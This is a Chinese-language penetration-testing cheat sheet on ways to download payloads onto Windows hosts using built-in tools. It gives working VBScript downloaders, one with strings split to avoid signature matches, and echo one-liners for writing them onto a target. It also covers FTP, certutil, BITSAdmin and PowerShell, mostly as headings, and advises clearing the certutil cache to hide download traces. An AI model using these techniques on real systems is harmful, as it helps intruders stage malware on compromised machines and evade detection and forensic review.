payload下载方式
1、VBS下载
1、下载方式1
## down.vbs
set a=createobject("adod"+"b.stream"):set w=createobject("micro"+"soft.xmlhttp"):w.open "get",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2
## echo写入
echo set a=createobject("adod"+"b.stream"):set w=createobject("micro"+"soft.xmlhttp"):w.open "get",wsh.arguments(0),0:w.send:a.type=1:a.open:a.write w.responsebody:a.savetofile wsh.arguments(1),2 > down.vbs
## 下载文件
cscript down.vbs http://172.16.175.1/robots.txt d:\test\r.txt2、无参数方式下载
## down.vbs
strFileURL = "http://172.16.175.1/robots.txt"
strHDLocation = "D:\\readme.txt"
Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")
objXMLHTTP.open "GET", strFileURL, false
objXMLHTTP.send()
If objXMLHTTP.Status = 200 Then
Set objADOStream = CreateObject("ADODB.Stream")
objADOStream.Open
objADOStream.Type = 1
objADOStream.Write objXMLHTTP.ResponseBody
objADOStream.Position = 0
Set objFSO = CreateObject("Scripting.FileSystemObject")
If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation
Set objFSO = Nothing
objADOStream.SaveToFile strHDLocation
objADOStream.Close
Set objADOStream = Nothing
End if
Set objXMLHTTP = Nothing
## 使用echo写入代码,不需要写入缩进
echo strFileURL = "http://172.16.175.1/robots.txt" > down.vbs
echo strHDLocation = "D:\\readme.txt" >> down.vbs
echo Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP") >> down.vbs
echo objXMLHTTP.open "GET", strFileURL, false >> down.vbs
echo objXMLHTTP.send() >> down.vbs
echo If objXMLHTTP.Status = 200 Then >> down.vbs
echo Set objADOStream = CreateObject("ADODB.Stream") >> down.vbs
echo objADOStream.Open >> down.vbs
echo objADOStream.Type = 1 >> down.vbs
echo objADOStream.Write objXMLHTTP.ResponseBody >> down.vbs
echo objADOStream.Position = 0 >> down.vbs
echo Set objFSO = CreateObject("Scripting.FileSystemObject") >> down.vbs
echo If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation >> down.vbs
echo Set objFSO = Nothing >> down.vbs
echo objADOStream.SaveToFile strHDLocation >> down.vbs
echo objADOStream.Close >> down.vbs
echo Set objADOStream = Nothing >> down.vbs
echo End if >> down.vbs
echo Set objXMLHTTP = Nothing >> down.vbs
## 使用cscript下载
cscript down.vbs
3、兼容性测试




2、JS下载
1、字符类payload

2、二进制payload
3、兼容性测试




3、FTP下载
ftp命令也是全版本Windows系统都默认包含的,其中-s参数可以指定包含 FTP 命令的文本文件;命令在 FTP 启动后自动运行,可以被利用自动下载远程文件
1、匿名模式

2、密码模式

3、一句话下载
合并写入脚本与调用的步骤



4、certutil下载
该工具是证书服务的组件,用于转储和显示证书颁发机构配置信息,配置证书服务,备份和还原CA组件以及验证证书,密钥对和证书链。 经过测试该组件在Win2003、2008、7、10里可用,XP下没有
1、下载测试

使用certutil下载文件之后一定要记得清理缓存

如果没有清理缓存,你的下载记录都会在这里

2、Windows defender
经过测试 Windows Defender现在会拦截 certutil下载文件

3、其他常用功能





5、BITSAdmin下载
这个工具的设计目的应该就是为了传输文件,具有很丰富的下载选项,可以限速、设置代理。但是只存在于Win7、2008之后的操作系统。
常用命令
目标地址必须使用绝对路径
限速,修改优先级
测试https下载,没有问题,WD也没有报毒

6、powershell下载
这里提供了两个下载的方式,一个只支持PS3.0+,可以使用通用的2.0版本
1、查看PS版本

2、基于Sytem.Net.WebClient
3、基于Invoke-WebRequest
最后更新于
这有帮助吗?